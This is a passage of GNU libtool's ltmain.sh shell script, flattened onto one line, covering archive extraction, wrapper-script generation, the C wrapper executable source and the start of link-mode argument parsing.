sharedlib_from_linklib_result=`func_cygming_dll_for_implib_fallback_core '.idata$6' "$1"` else # unknown sharedlib_from_linklib_result="" fi } # func_extract_an_archive dir oldlib func_extract_an_archive () { $opt_debug f_ex_an_ar_dir="$1"; shift f_ex_an_ar_oldlib="$1" if test "$lock_old_archive_extraction" = yes; then lockfile=$f_ex_an_ar_oldlib.lock until $opt_dry_run || ln "$progpath" "$lockfile" 2>/dev/null; do func_echo "Waiting for $lockfile to be removed" sleep 2 done fi func_show_eval "(cd \$f_ex_an_ar_dir && $AR x \"\$f_ex_an_ar_oldlib\")" \ 'stat=$?; rm -f "$lockfile"; exit $stat' if test "$lock_old_archive_extraction" = yes; then $opt_dry_run || rm -f "$lockfile" fi if ($AR t "$f_ex_an_ar_oldlib" | sort | sort -uc >/dev/null 2>&1); then : else func_fatal_error "object name conflicts in archive: $f_ex_an_ar_dir/$f_ex_an_ar_oldlib" fi } # func_extract_archives gentop oldlib ... func_extract_archives () { $opt_debug my_gentop="$1"; shift my_oldlibs=${1+"$@"} my_oldobjs="" my_xlib="" my_xabs="" my_xdir="" for my_xlib in $my_oldlibs; do # Extract the objects. case $my_xlib in [\\/]* | [A-Za-z]:[\\/]*) my_xabs="$my_xlib" ;; *) my_xabs=`pwd`"/$my_xlib" ;; esac func_basename "$my_xlib" my_xlib="$func_basename_result" my_xlib_u=$my_xlib while :; do case " $extracted_archives " in *" $my_xlib_u "*) func_arith $extracted_serial + 1 extracted_serial=$func_arith_result my_xlib_u=lt$extracted_serial-$my_xlib ;; *) break ;; esac done extracted_archives="$extracted_archives $my_xlib_u" my_xdir="$my_gentop/$my_xlib_u" func_mkdir_p "$my_xdir" case $host in *-darwin*) func_verbose "Extracting $my_xabs" # Do not bother doing anything if just a dry run $opt_dry_run || { darwin_orig_dir=`pwd` cd $my_xdir || exit $? darwin_archive=$my_xabs darwin_curdir=`pwd` darwin_base_archive=`basename "$darwin_archive"` darwin_arches=`$LIPO -info "$darwin_archive" 2>/dev/null | $GREP Architectures 2>/dev/null || true` if test -n "$darwin_arches"; then darwin_arches=`$ECHO "$darwin_arches" | $SED -e 's/.*are://'` darwin_arch= func_verbose "$darwin_base_archive has multiple architectures $darwin_arches" for darwin_arch in $darwin_arches ; do func_mkdir_p "unfat-$$/${darwin_base_archive}-${darwin_arch}" $LIPO -thin $darwin_arch -output "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}" "${darwin_archive}" cd "unfat-$$/${darwin_base_archive}-${darwin_arch}" func_extract_an_archive "`pwd`" "${darwin_base_archive}" cd "$darwin_curdir" $RM "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}" done # $darwin_arches ## Okay now we've a bunch of thin objects, gotta fatten them up :) darwin_filelist=`find unfat-$$ -type f -name \*.o -print -o -name \*.lo -print | $SED -e "$basename" | sort -u` darwin_file= darwin_files= for darwin_file in $darwin_filelist; do darwin_files=`find unfat-$$ -name $darwin_file -print | sort | $NL2SP` $LIPO -create -output "$darwin_file" $darwin_files done # $darwin_filelist $RM -rf unfat-$$ cd "$darwin_orig_dir" else cd $darwin_orig_dir func_extract_an_archive "$my_xdir" "$my_xabs" fi # $darwin_arches } # !$opt_dry_run ;; *) func_extract_an_archive "$my_xdir" "$my_xabs" ;; esac my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | sort | $NL2SP` done func_extract_archives_result="$my_oldobjs" } # func_emit_wrapper [arg=no] # # Emit a libtool wrapper script on stdout. # Don't directly open a file because we may want to # incorporate the script contents within a cygwin/mingw # wrapper executable. Must ONLY be called from within # func_mode_link because it depends on a number of variables # set therein. # # ARG is the value that the WRAPPER_SCRIPT_BELONGS_IN_OBJDIR # variable will take. If 'yes', then the emitted script # will assume that the directory in which it is stored is # the $objdir directory. This is a cygwin/mingw-specific # behavior. func_emit_wrapper () { func_emit_wrapper_arg1=${1-no} $ECHO "\ #! $SHELL # $output - temporary wrapper script for $objdir/$outputname # Generated by $PROGRAM (GNU $PACKAGE$TIMESTAMP) $VERSION # # The $output program cannot be directly executed until all the libtool # libraries that it depends on are installed. # # This wrapper script should never be moved out of the build directory. # If it is, it will not operate correctly. # Sed substitution that helps us do robust quoting. It backslashifies # metacharacters that are still active within double-quoted strings. sed_quote_subst='$sed_quote_subst' # Be Bourne compatible if test -n \"\${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then emulate sh NULLCMD=: # Zsh 3.x and 4.x performs word splitting on \${1+\"\$@\"}, which # is contrary to our usage. Disable this feature. alias -g '\${1+\"\$@\"}'='\"\$@\"' setopt NO_GLOB_SUBST else case \`(set -o) 2>/dev/null\` in *posix*) set -o posix;; esac fi BIN_SH=xpg4; export BIN_SH # for Tru64 DUALCASE=1; export DUALCASE # for MKS sh # The HP-UX ksh and POSIX shell print the target directory to stdout # if CDPATH is set. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH relink_command=\"$relink_command\" # This environment variable determines our operation mode. if test \"\$libtool_install_magic\" = \"$magic\"; then # install mode needs the following variables: generated_by_libtool_version='$macro_version' notinst_deplibs='$notinst_deplibs' else # When we are sourced in execute mode, \$file and \$ECHO are already set. if test \"\$libtool_execute_magic\" != \"$magic\"; then file=\"\$0\"" qECHO=`$ECHO "$ECHO" | $SED "$sed_quote_subst"` $ECHO "\ # A function that is used when there is no print builtin or printf. func_fallback_echo () { eval 'cat <<_LTECHO_EOF \$1 _LTECHO_EOF' } ECHO=\"$qECHO\" fi # Very basic option parsing. These options are (a) specific to # the libtool wrapper, (b) are identical between the wrapper # /script/ and the wrapper /executable/ which is used only on # windows platforms, and (c) all begin with the string "--lt-" # (application programs are unlikely to have options which match # this pattern). # # There are only two supported options: --lt-debug and # --lt-dump-script. There is, deliberately, no --lt-help. # # The first argument to this parsing function should be the # script's $0 value, followed by "$@". lt_option_debug= func_parse_lt_options () { lt_script_arg0=\$0 shift for lt_opt do case \"\$lt_opt\" in --lt-debug) lt_option_debug=1 ;; --lt-dump-script) lt_dump_D=\`\$ECHO \"X\$lt_script_arg0\" | $SED -e 's/^X//' -e 's%/[^/]*$%%'\` test \"X\$lt_dump_D\" = \"X\$lt_script_arg0\" && lt_dump_D=. lt_dump_F=\`\$ECHO \"X\$lt_script_arg0\" | $SED -e 's/^X//' -e 's%^.*/%%'\` cat \"\$lt_dump_D/\$lt_dump_F\" exit 0 ;; --lt-*) \$ECHO \"Unrecognized --lt- option: '\$lt_opt'\" 1>&2 exit 1 ;; esac done # Print the debug banner immediately: if test -n \"\$lt_option_debug\"; then echo \"${outputname}:${output}:\${LINENO}: libtool wrapper (GNU $PACKAGE$TIMESTAMP) $VERSION\" 1>&2 fi } # Used when --lt-debug. Prints its arguments to stdout # (redirection is the responsibility of the caller) func_lt_dump_args () { lt_dump_args_N=1; for lt_arg do \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[\$lt_dump_args_N]: \$lt_arg\" lt_dump_args_N=\`expr \$lt_dump_args_N + 1\` done } # Core function for launching the target application func_exec_program_core () { " case $host in # Backslashes separate directories on plain windows *-*-mingw | *-*-os2* | *-cegcc*) $ECHO "\ if test -n \"\$lt_option_debug\"; then \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[0]: \$progdir\\\\\$program\" 1>&2 func_lt_dump_args \${1+\"\$@\"} 1>&2 fi exec \"\$progdir\\\\\$program\" \${1+\"\$@\"} " ;; *) $ECHO "\ if test -n \"\$lt_option_debug\"; then \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[0]: \$progdir/\$program\" 1>&2 func_lt_dump_args \${1+\"\$@\"} 1>&2 fi exec \"\$progdir/\$program\" \${1+\"\$@\"} " ;; esac $ECHO "\ \$ECHO \"\$0: cannot exec \$program \$*\" 1>&2 exit 1 } # A function to encapsulate launching the target application # Strips options in the --lt-* namespace from \$@ and # launches target application with the remaining arguments. func_exec_program () { case \" \$* \" in *\\ --lt-*) for lt_wr_arg do case \$lt_wr_arg in --lt-*) ;; *) set x \"\$@\" \"\$lt_wr_arg\"; shift;; esac shift done ;; esac func_exec_program_core \${1+\"\$@\"} } # Parse options func_parse_lt_options \"\$0\" \${1+\"\$@\"} # Find the directory that this script lives in. thisdir=\`\$ECHO \"\$file\" | $SED 's%/[^/]*$%%'\` test \"x\$thisdir\" = \"x\$file\" && thisdir=. # Follow symbolic links until we get to the real thisdir. file=\`ls -ld \"\$file\" | $SED -n 's/.*-> //p'\` while test -n \"\$file\"; do destdir=\`\$ECHO \"\$file\" | $SED 's%/[^/]*\$%%'\` # If there was a directory component, then change thisdir. if test \"x\$destdir\" != \"x\$file\"; then case \"\$destdir\" in [\\\\/]* | [A-Za-z]:[\\\\/]*) thisdir=\"\$destdir\" ;; *) thisdir=\"\$thisdir/\$destdir\" ;; esac fi file=\`\$ECHO \"\$file\" | $SED 's%^.*/%%'\` file=\`ls -ld \"\$thisdir/\$file\" | $SED -n 's/.*-> //p'\` done # Usually 'no', except on cygwin/mingw when embedded into # the cwrapper. WRAPPER_SCRIPT_BELONGS_IN_OBJDIR=$func_emit_wrapper_arg1 if test \"\$WRAPPER_SCRIPT_BELONGS_IN_OBJDIR\" = \"yes\"; then # special case for '.' if test \"\$thisdir\" = \".\"; then thisdir=\`pwd\` fi # remove .libs from thisdir case \"\$thisdir\" in *[\\\\/]$objdir ) thisdir=\`\$ECHO \"\$thisdir\" | $SED 's%[\\\\/][^\\\\/]*$%%'\` ;; $objdir ) thisdir=. ;; esac fi # Try to get the absolute directory name. absdir=\`cd \"\$thisdir\" && pwd\` test -n \"\$absdir\" && thisdir=\"\$absdir\" " if test "$fast_install" = yes; then $ECHO "\ program=lt-'$outputname'$exeext progdir=\"\$thisdir/$objdir\" if test ! -f \"\$progdir/\$program\" || { file=\`ls -1dt \"\$progdir/\$program\" \"\$progdir/../\$program\" 2>/dev/null | ${SED} 1q\`; \\ test \"X\$file\" != \"X\$progdir/\$program\"; }; then file=\"\$\$-\$program\" if test ! -d \"\$progdir\"; then $MKDIR \"\$progdir\" else $RM \"\$progdir/\$file\" fi" $ECHO "\ # relink executable if necessary if test -n \"\$relink_command\"; then if relink_command_output=\`eval \$relink_command 2>&1\`; then : else $ECHO \"\$relink_command_output\" >&2 $RM \"\$progdir/\$file\" exit 1 fi fi $MV \"\$progdir/\$file\" \"\$progdir/\$program\" 2>/dev/null || { $RM \"\$progdir/\$program\"; $MV \"\$progdir/\$file\" \"\$progdir/\$program\"; } $RM \"\$progdir/\$file\" fi" else $ECHO "\ program='$outputname' progdir=\"\$thisdir/$objdir\" " fi $ECHO "\ if test -f \"\$progdir/\$program\"; then" # fixup the dll searchpath if we need to. # # Fix the DLL searchpath if we need to. Do this before prepending # to shlibpath, because on Windows, both are PATH and uninstalled # libraries must come first. if test -n "$dllsearchpath"; then $ECHO "\ # Add the dll search path components to the executable PATH PATH=$dllsearchpath:\$PATH " fi # Export our shlibpath_var if we have one. if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then $ECHO "\ # Add our own library path to $shlibpath_var $shlibpath_var=\"$temp_rpath\$$shlibpath_var\" # Some systems cannot cope with colon-terminated $shlibpath_var # The second colon is a workaround for a bug in BeOS R4 sed $shlibpath_var=\`\$ECHO \"\$$shlibpath_var\" | $SED 's/::*\$//'\` export $shlibpath_var " fi $ECHO "\ if test \"\$libtool_execute_magic\" != \"$magic\"; then # Run the actual program with our arguments. func_exec_program \${1+\"\$@\"} fi else # The program doesn't exist. \$ECHO \"\$0: error: \\\`\$progdir/\$program' does not exist\" 1>&2 \$ECHO \"This script is just a wrapper for \$program.\" 1>&2 \$ECHO \"See the $PACKAGE documentation for more information.\" 1>&2 exit 1 fi fi\ " } # func_emit_cwrapperexe_src # emit the source code for a wrapper executable on stdout # Must ONLY be called from within func_mode_link because # it depends on a number of variable set therein. func_emit_cwrapperexe_src () { cat < #include #ifdef _MSC_VER # include # include # include #else # include # include # ifdef __CYGWIN__ # include # endif #endif #include #include #include #include #include #include #include #include /* declarations of non-ANSI functions */ #if defined(__MINGW32__) # ifdef __STRICT_ANSI__ int _putenv (const char *); # endif #elif defined(__CYGWIN__) # ifdef __STRICT_ANSI__ char *realpath (const char *, char *); int putenv (char *); int setenv (const char *, const char *, int); # endif /* #elif defined (other platforms) ... */ #endif /* portability defines, excluding path handling macros */ #if defined(_MSC_VER) # define setmode _setmode # define stat _stat # define chmod _chmod # define getcwd _getcwd # define putenv _putenv # define S_IXUSR _S_IEXEC # ifndef _INTPTR_T_DEFINED # define _INTPTR_T_DEFINED # define intptr_t int # endif #elif defined(__MINGW32__) # define setmode _setmode # define stat _stat # define chmod _chmod # define getcwd _getcwd # define putenv _putenv #elif defined(__CYGWIN__) # define HAVE_SETENV # define FOPEN_WB "wb" /* #elif defined (other platforms) ... */ #endif #if defined(PATH_MAX) # define LT_PATHMAX PATH_MAX #elif defined(MAXPATHLEN) # define LT_PATHMAX MAXPATHLEN #else # define LT_PATHMAX 1024 #endif #ifndef S_IXOTH # define S_IXOTH 0 #endif #ifndef S_IXGRP # define S_IXGRP 0 #endif /* path handling portability macros */ #ifndef DIR_SEPARATOR # define DIR_SEPARATOR '/' # define PATH_SEPARATOR ':' #endif #if defined (_WIN32) || defined (__MSDOS__) || defined (__DJGPP__) || \ defined (__OS2__) # define HAVE_DOS_BASED_FILE_SYSTEM # define FOPEN_WB "wb" # ifndef DIR_SEPARATOR_2 # define DIR_SEPARATOR_2 '\\' # endif # ifndef PATH_SEPARATOR_2 # define PATH_SEPARATOR_2 ';' # endif #endif #ifndef DIR_SEPARATOR_2 # define IS_DIR_SEPARATOR(ch) ((ch) == DIR_SEPARATOR) #else /* DIR_SEPARATOR_2 */ # define IS_DIR_SEPARATOR(ch) \ (((ch) == DIR_SEPARATOR) || ((ch) == DIR_SEPARATOR_2)) #endif /* DIR_SEPARATOR_2 */ #ifndef PATH_SEPARATOR_2 # define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR) #else /* PATH_SEPARATOR_2 */ # define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR_2) #endif /* PATH_SEPARATOR_2 */ #ifndef FOPEN_WB # define FOPEN_WB "w" #endif #ifndef _O_BINARY # define _O_BINARY 0 #endif #define XMALLOC(type, num) ((type *) xmalloc ((num) * sizeof(type))) #define XFREE(stale) do { \ if (stale) { free ((void *) stale); stale = 0; } \ } while (0) #if defined(LT_DEBUGWRAPPER) static int lt_debug = 1; #else static int lt_debug = 0; #endif const char *program_name = "libtool-wrapper"; /* in case xstrdup fails */ void *xmalloc (size_t num); char *xstrdup (const char *string); const char *base_name (const char *name); char *find_executable (const char *wrapper); char *chase_symlinks (const char *pathspec); int make_executable (const char *path); int check_executable (const char *path); char *strendzap (char *str, const char *pat); void lt_debugprintf (const char *file, int line, const char *fmt, ...); void lt_fatal (const char *file, int line, const char *message, ...); static const char *nonnull (const char *s); static const char *nonempty (const char *s); void lt_setenv (const char *name, const char *value); char *lt_extend_str (const char *orig_value, const char *add, int to_end); void lt_update_exe_path (const char *name, const char *value); void lt_update_lib_path (const char *name, const char *value); char **prepare_spawn (char **argv); void lt_dump_script (FILE *f); EOF cat <= 0) && (st.st_mode & (S_IXUSR | S_IXGRP | S_IXOTH))) return 1; else return 0; } int make_executable (const char *path) { int rval = 0; struct stat st; lt_debugprintf (__FILE__, __LINE__, "(make_executable): %s\n", nonempty (path)); if ((!path) || (!*path)) return 0; if (stat (path, &st) >= 0) { rval = chmod (path, st.st_mode | S_IXOTH | S_IXGRP | S_IXUSR); } return rval; } /* Searches for the full path of the wrapper. Returns newly allocated full path name if found, NULL otherwise Does not chase symlinks, even on platforms that support them. */ char * find_executable (const char *wrapper) { int has_slash = 0; const char *p; const char *p_next; /* static buffer for getcwd */ char tmp[LT_PATHMAX + 1]; int tmp_len; char *concat_name; lt_debugprintf (__FILE__, __LINE__, "(find_executable): %s\n", nonempty (wrapper)); if ((wrapper == NULL) || (*wrapper == '\0')) return NULL; /* Absolute path? */ #if defined (HAVE_DOS_BASED_FILE_SYSTEM) if (isalpha ((unsigned char) wrapper[0]) && wrapper[1] == ':') { concat_name = xstrdup (wrapper); if (check_executable (concat_name)) return concat_name; XFREE (concat_name); } else { #endif if (IS_DIR_SEPARATOR (wrapper[0])) { concat_name = xstrdup (wrapper); if (check_executable (concat_name)) return concat_name; XFREE (concat_name); } #if defined (HAVE_DOS_BASED_FILE_SYSTEM) } #endif for (p = wrapper; *p; p++) if (*p == '/') { has_slash = 1; break; } if (!has_slash) { /* no slashes; search PATH */ const char *path = getenv ("PATH"); if (path != NULL) { for (p = path; *p; p = p_next) { const char *q; size_t p_len; for (q = p; *q; q++) if (IS_PATH_SEPARATOR (*q)) break; p_len = q - p; p_next = (*q == '\0' ? q : q + 1); if (p_len == 0) { /* empty path: current directory */ if (getcwd (tmp, LT_PATHMAX) == NULL) lt_fatal (__FILE__, __LINE__, "getcwd failed: %s", nonnull (strerror (errno))); tmp_len = strlen (tmp); concat_name = XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1); memcpy (concat_name, tmp, tmp_len); concat_name[tmp_len] = '/'; strcpy (concat_name + tmp_len + 1, wrapper); } else { concat_name = XMALLOC (char, p_len + 1 + strlen (wrapper) + 1); memcpy (concat_name, p, p_len); concat_name[p_len] = '/'; strcpy (concat_name + p_len + 1, wrapper); } if (check_executable (concat_name)) return concat_name; XFREE (concat_name); } } /* not found in PATH; assume curdir */ } /* Relative path | not found in path: prepend cwd */ if (getcwd (tmp, LT_PATHMAX) == NULL) lt_fatal (__FILE__, __LINE__, "getcwd failed: %s", nonnull (strerror (errno))); tmp_len = strlen (tmp); concat_name = XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1); memcpy (concat_name, tmp, tmp_len); concat_name[tmp_len] = '/'; strcpy (concat_name + tmp_len + 1, wrapper); if (check_executable (concat_name)) return concat_name; XFREE (concat_name); return NULL; } char * chase_symlinks (const char *pathspec) { #ifndef S_ISLNK return xstrdup (pathspec); #else char buf[LT_PATHMAX]; struct stat s; char *tmp_pathspec = xstrdup (pathspec); char *p; int has_symlinks = 0; while (strlen (tmp_pathspec) && !has_symlinks) { lt_debugprintf (__FILE__, __LINE__, "checking path component for symlinks: %s\n", tmp_pathspec); if (lstat (tmp_pathspec, &s) == 0) { if (S_ISLNK (s.st_mode) != 0) { has_symlinks = 1; break; } /* search backwards for last DIR_SEPARATOR */ p = tmp_pathspec + strlen (tmp_pathspec) - 1; while ((p > tmp_pathspec) && (!IS_DIR_SEPARATOR (*p))) p--; if ((p == tmp_pathspec) && (!IS_DIR_SEPARATOR (*p))) { /* no more DIR_SEPARATORS left */ break; } *p = '\0'; } else { lt_fatal (__FILE__, __LINE__, "error accessing file \"%s\": %s", tmp_pathspec, nonnull (strerror (errno))); } } XFREE (tmp_pathspec); if (!has_symlinks) { return xstrdup (pathspec); } tmp_pathspec = realpath (pathspec, buf); if (tmp_pathspec == 0) { lt_fatal (__FILE__, __LINE__, "could not follow symlinks for %s", pathspec); } return xstrdup (tmp_pathspec); #endif } char * strendzap (char *str, const char *pat) { size_t len, patlen; assert (str != NULL); assert (pat != NULL); len = strlen (str); patlen = strlen (pat); if (patlen <= len) { str += len - patlen; if (strcmp (str, pat) == 0) *str = '\0'; } return str; } void lt_debugprintf (const char *file, int line, const char *fmt, ...) { va_list args; if (lt_debug) { (void) fprintf (stderr, "%s:%s:%d: ", program_name, file, line); va_start (args, fmt); (void) vfprintf (stderr, fmt, args); va_end (args); } } static void lt_error_core (int exit_status, const char *file, int line, const char *mode, const char *message, va_list ap) { fprintf (stderr, "%s:%s:%d: %s: ", program_name, file, line, mode); vfprintf (stderr, message, ap); fprintf (stderr, ".\n"); if (exit_status >= 0) exit (exit_status); } void lt_fatal (const char *file, int line, const char *message, ...) { va_list ap; va_start (ap, message); lt_error_core (EXIT_FAILURE, file, line, "FATAL", message, ap); va_end (ap); } static const char * nonnull (const char *s) { return s ? s : "(null)"; } static const char * nonempty (const char *s) { return (s && !*s) ? "(empty)" : nonnull (s); } void lt_setenv (const char *name, const char *value) { lt_debugprintf (__FILE__, __LINE__, "(lt_setenv) setting '%s' to '%s'\n", nonnull (name), nonnull (value)); { #ifdef HAVE_SETENV /* always make a copy, for consistency with !HAVE_SETENV */ char *str = xstrdup (value); setenv (name, str, 1); #else int len = strlen (name) + 1 + strlen (value) + 1; char *str = XMALLOC (char, len); sprintf (str, "%s=%s", name, value); if (putenv (str) != EXIT_SUCCESS) { XFREE (str); } #endif } } char * lt_extend_str (const char *orig_value, const char *add, int to_end) { char *new_value; if (orig_value && *orig_value) { int orig_value_len = strlen (orig_value); int add_len = strlen (add); new_value = XMALLOC (char, add_len + orig_value_len + 1); if (to_end) { strcpy (new_value, orig_value); strcpy (new_value + orig_value_len, add); } else { strcpy (new_value, add); strcpy (new_value + add_len, orig_value); } } else { new_value = xstrdup (add); } return new_value; } void lt_update_exe_path (const char *name, const char *value) { lt_debugprintf (__FILE__, __LINE__, "(lt_update_exe_path) modifying '%s' by prepending '%s'\n", nonnull (name), nonnull (value)); if (name && *name && value && *value) { char *new_value = lt_extend_str (getenv (name), value, 0); /* some systems can't cope with a ':'-terminated path #' */ int len = strlen (new_value); while (((len = strlen (new_value)) > 0) && IS_PATH_SEPARATOR (new_value[len-1])) { new_value[len-1] = '\0'; } lt_setenv (name, new_value); XFREE (new_value); } } void lt_update_lib_path (const char *name, const char *value) { lt_debugprintf (__FILE__, __LINE__, "(lt_update_lib_path) modifying '%s' by prepending '%s'\n", nonnull (name), nonnull (value)); if (name && *name && value && *value) { char *new_value = lt_extend_str (getenv (name), value, 0); lt_setenv (name, new_value); XFREE (new_value); } } EOF case $host_os in mingw*) cat <<"EOF" /* Prepares an argument vector before calling spawn(). Note that spawn() does not by itself call the command interpreter (getenv ("COMSPEC") != NULL ? getenv ("COMSPEC") : ({ OSVERSIONINFO v; v.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&v); v.dwPlatformId == VER_PLATFORM_WIN32_NT; }) ? "cmd.exe" : "command.com"). Instead it simply concatenates the arguments, separated by ' ', and calls CreateProcess(). We must quote the arguments since Win32 CreateProcess() interprets characters like ' ', '\t', '\\', '"' (but not '<' and '>') in a special way: - Space and tab are interpreted as delimiters. They are not treated as delimiters if they are surrounded by double quotes: "...". - Unescaped double quotes are removed from the input. Their only effect is that within double quotes, space and tab are treated like normal characters. - Backslashes not followed by double quotes are not special. - But 2*n+1 backslashes followed by a double quote become n backslashes followed by a double quote (n >= 0): \" -> " \\\" -> \" \\\\\" -> \\" */ #define SHELL_SPECIAL_CHARS "\"\\ \001\002\003\004\005\006\007\010\011\012\013\014\015\016\017\020\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037" #define SHELL_SPACE_CHARS " \001\002\003\004\005\006\007\010\011\012\013\014\015\016\017\020\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037" char ** prepare_spawn (char **argv) { size_t argc; char **new_argv; size_t i; /* Count number of arguments. */ for (argc = 0; argv[argc] != NULL; argc++) ; /* Allocate new argument vector. */ new_argv = XMALLOC (char *, argc + 1); /* Put quoted arguments into the new argument vector. */ for (i = 0; i < argc; i++) { const char *string = argv[i]; if (string[0] == '\0') new_argv[i] = xstrdup ("\"\""); else if (strpbrk (string, SHELL_SPECIAL_CHARS) != NULL) { int quote_around = (strpbrk (string, SHELL_SPACE_CHARS) != NULL); size_t length; unsigned int backslashes; const char *s; char *quoted_string; char *p; length = 0; backslashes = 0; if (quote_around) length++; for (s = string; *s != '\0'; s++) { char c = *s; if (c == '"') length += backslashes + 1; length++; if (c == '\\') backslashes++; else backslashes = 0; } if (quote_around) length += backslashes + 1; quoted_string = XMALLOC (char, length + 1); p = quoted_string; backslashes = 0; if (quote_around) *p++ = '"'; for (s = string; *s != '\0'; s++) { char c = *s; if (c == '"') { unsigned int j; for (j = backslashes + 1; j > 0; j--) *p++ = '\\'; } *p++ = c; if (c == '\\') backslashes++; else backslashes = 0; } if (quote_around) { unsigned int j; for (j = backslashes; j > 0; j--) *p++ = '\\'; *p++ = '"'; } *p = '\0'; new_argv[i] = quoted_string; } else new_argv[i] = (char *) string; } new_argv[argc] = NULL; return new_argv; } EOF ;; esac cat <<"EOF" void lt_dump_script (FILE* f) { EOF func_emit_wrapper yes | $SED -n -e ' s/^\(.\{79\}\)\(..*\)/\1\ \2/ h s/\([\\"]\)/\\\1/g s/$/\\n/ s/\([^\n]*\).*/ fputs ("\1", f);/p g D' cat <<"EOF" } EOF } # end: func_emit_cwrapperexe_src # func_win32_import_lib_p ARG # True if ARG is an import lib, as indicated by $file_magic_cmd func_win32_import_lib_p () { $opt_debug case `eval $file_magic_cmd \"\$1\" 2>/dev/null | $SED -e 10q` in *import*) : ;; *) false ;; esac } # func_mode_link arg... func_mode_link () { $opt_debug case $host in *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-cegcc*) # It is impossible to link a dll without this setting, and # we shouldn't force the makefile maintainer to figure out # which system we are compiling for in order to pass an extra # flag for every libtool invocation. # allow_undefined=no # FIXME: Unfortunately, there are problems with the above when trying # to make a dll which has undefined symbols, in which case not # even a static library is built. For now, we need to specify # -no-undefined on the libtool link line when we can be certain # that all symbols are satisfied, otherwise we get a static library. allow_undefined=yes ;; *) allow_undefined=yes ;; esac libtool_args=$nonopt base_compile="$nonopt $@" compile_command=$nonopt finalize_command=$nonopt compile_rpath= finalize_rpath= compile_shlibpath= finalize_shlibpath= convenience= old_convenience= deplibs= old_deplibs= compiler_flags= linker_flags= dllsearchpath= lib_search_path=`pwd` inst_prefix_dir= new_inherited_linker_flags= avoid_version=no bindir= dlfiles= dlprefiles= dlself=no export_dynamic=no export_symbols= export_symbols_regex= generated= libobjs= ltlibs= module=no no_install=no objs= non_pic_objects= precious_files_regex= prefer_static_libs=no preload=no prev= prevarg= release= rpath= xrpath= perm_rpath= temp_rpath= thread_safe=no vinfo= vinfo_number=no weak_libs= single_module="${wl}-single_module" func_infer_tag $base_compile # We need to know -static, to get the right output filenames. for arg do case $arg in -shared) test "$build_libtool_libs" != yes && \ func_fatal_configuration "can not build a shared library" build_old_libs=no break ;; -all-static | -static | -static-libtool-libs) case $arg in -all-static) if test "$build_libtool_libs" = yes && test -z "$link_static_flag"; then func_warning "complete static linking is impossible in this configuration" fi if test -n "$link_static_flag"; then dlopen_self=$dlopen_self_static fi prefer_static_libs=yes ;; -static) if test -z "$pic_flag" && test -n "$link_static_flag"; then dlopen_self=$dlopen_self_static fi prefer_static_libs=built ;; -static-libtool-libs) if test -z "$pic_flag" && test -n "$link_static_flag"; then dlopen_self=$dlopen_self_static fi prefer_static_libs=yes ;; esac build_libtool_libs=no build_old_libs=yes break ;; esac done # See if our shared archives depend on static archives. test -n "$old_archive_from_new_cmds" && build_old_libs=yes # Go through the arguments, transforming them on the way. while test "$#" -gt 0; do arg="$1" shift func_quote_for_eval "$arg" qarg=$func_quote_for_eval_unquoted_result func_append libtool_args " $func_quote_for_eval_result" # If the previous option needs an argument, assign it. if test -n "$prev"; then case $prev in output) func_append compile_command " @OUTPUT@" func_append finalize_command " @OUTPUT@" ;; esac case $prev in bindir) bindir="$arg" prev= continue ;; dlfiles|dlprefiles) if test "$preload" = no; then # Add the symbol object into the linking commands. func_append compile_command " @SYMFILE@" func_append finalize_command " @SYMFILE@" preload=yes fi case $arg in *.la | *.lo) ;; # We handle these cases below. force) if test "$dlself" = no; then dlself=needless export_dynamic=yes fi prev= continue ;; self) if test "$prev" = dlprefiles; then dlself=yes elif test "$prev" = dlfiles && test "$dlopen_self" != yes; then dlself=yes else dlself=needless export_dynamic=yes fi prev= continue ;; *) if test "$prev" = dlfiles; then func_append dlfiles " $arg" else func_append dlprefiles " $arg" fi prev= continue ;; esac ;; expsyms) export_symbols="$arg" test -f "$arg" \ || func_fatal_error "symbol file \`$arg' does not exist" prev= continue ;; expsyms_regex) export_symbols_regex="$arg" prev= continue ;; framework) case $host in *-*-darwin*) case "$deplibs " in *" $qarg.ltframework "*) ;; *) func_append deplibs " $qarg.ltframework" # this is fixed later ;; esac ;; esac prev= continue ;; inst_prefix) inst_prefix_dir="$arg" prev= continue ;; objectlist) if test -f "$arg"; then save_arg=$arg moreargs= for fil in `cat "$save_arg"` do # func_append moreargs " $fil" arg=$fil # A libtool-controlled object. # Check to see that this really is a libtool object. if func_lalib_unsafe_p "$arg"; then pic_object= non_pic_object= # Read the .lo file func_source "$arg" if test -z "$pic_object" || test -z "$non_pic_object" || test "$pic_object" = none && test "$non_pic_object" = none; then func_fatal_error "cannot find name of object for \`$arg'" fi # Extract subdirectory from the argument. func_dirname "$arg" "/" "" xdir="$func_dirname_result" if test "$pic_object" != none; then # Prepend the subdirectory the object is found in. pic_object="$xdir$pic_object" if test "$prev" = dlfiles; then if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then func_append dlfiles " $pic_object" prev= continue else # If libtool objects are unsupported, then we need to preload. prev=dlprefiles fi fi # CHECK ME: I think I busted this. -Ossama if test "$prev" = dlprefiles; then # Preload the old-style object. func_append dlprefiles " $pic_object" prev= fi # A PIC object. func_append libobjs " $pic_object" arg="$pic_object" fi # Non-PIC object. if test "$non_pic_object" != none; then # Prepend the subdirectory the object is found in. non_pic_object="$xdir$non_pic_object" # A standard non-PIC object func_append non_pic_objects " $non_pic_object" if test -z "$pic_object" || test "$pic_object" = none ; then arg="$non_pic_object" fi else # If the PIC object exists, use it instead. # $xdir was prepended to $pic_object above. non_pic_object="$pic_object" func_append non_pic_objects " $non_pic_object" fi else # Only an error if not doing a dry-run. if $opt_dry_run; then # Extract subdirectory from the argument. func_dirname "$arg" 